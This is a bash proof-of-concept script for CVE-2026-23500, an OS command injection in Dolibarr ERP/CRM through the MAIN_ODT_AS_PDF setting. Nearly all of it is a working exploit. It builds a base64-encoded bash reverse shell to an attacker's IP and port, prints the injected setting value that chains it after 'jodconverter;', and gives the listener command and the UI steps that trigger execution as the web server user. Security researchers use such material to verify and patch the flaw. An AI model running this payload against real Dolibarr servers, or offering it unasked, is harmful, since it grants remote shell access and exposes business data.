#!/usr/bin/env bash
#
# CVE-2026-23500 - Dolibarr ERP/CRM OS Command Injection via MAIN_ODT_AS_PDF
#
# The source repository (lukasz-rybak/CVE-2026-23500) ships no standalone
# exploit script — the PoC is a manual, UI-driven sequence documented in its
# README. This script reproduces the exact documented steps/payload as a
# runnable reference so the payload value doesn't need to be retyped by hand.
#
# Prerequisite: an authenticated Administrator account on the target
# Dolibarr instance, reachable via a browser (steps 1-2 below are manual,
# performed through the Dolibarr web UI — Dolibarr does not expose a
# documented/stable API for editing MAIN_ODT_AS_PDF, so this is NOT a fully
# automated one-shot exploit).
#
# Usage:
#   ./poc.sh <attacker_ip> <attacker_port>
#
# Example:
#   ./poc.sh 172.26.0.1 4445

set -euo pipefail

LHOST="${1:?usage: poc.sh <attacker_ip> <attacker_port>}"
LPORT="${2:?missing attacker port}"

REVSHELL_CMD="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
REVSHELL_B64=$(printf '%s\n' "$REVSHELL_CMD" | base64 -w0)
INJECTED_VALUE="jodconverter; echo ${REVSHELL_B64} | base64 -d | bash"

cat <<EOF
[*] Start a listener first:
      nc -lvnp ${LPORT}

[*] Step 1: Log in to Dolibarr as an Administrator.

[*] Step 2: Enable the "Commercial Proposals" module and activate ODT
    templates under its module setup.

[*] Step 3: Go to Home -> Setup -> Other Setup and set the MAIN_ODT_AS_PDF
    constant to the following value:

      ${INJECTED_VALUE}

[*] Step 4: Go to Commerce -> New Proposal, pick an ODT template, and click
    "Generate" to trigger ODT-to-PDF conversion. This runs the injected
    command via exec().

[*] On success, the netcat listener on ${LHOST}:${LPORT} receives a reverse
    shell running as the web server user (typically www-data).
EOF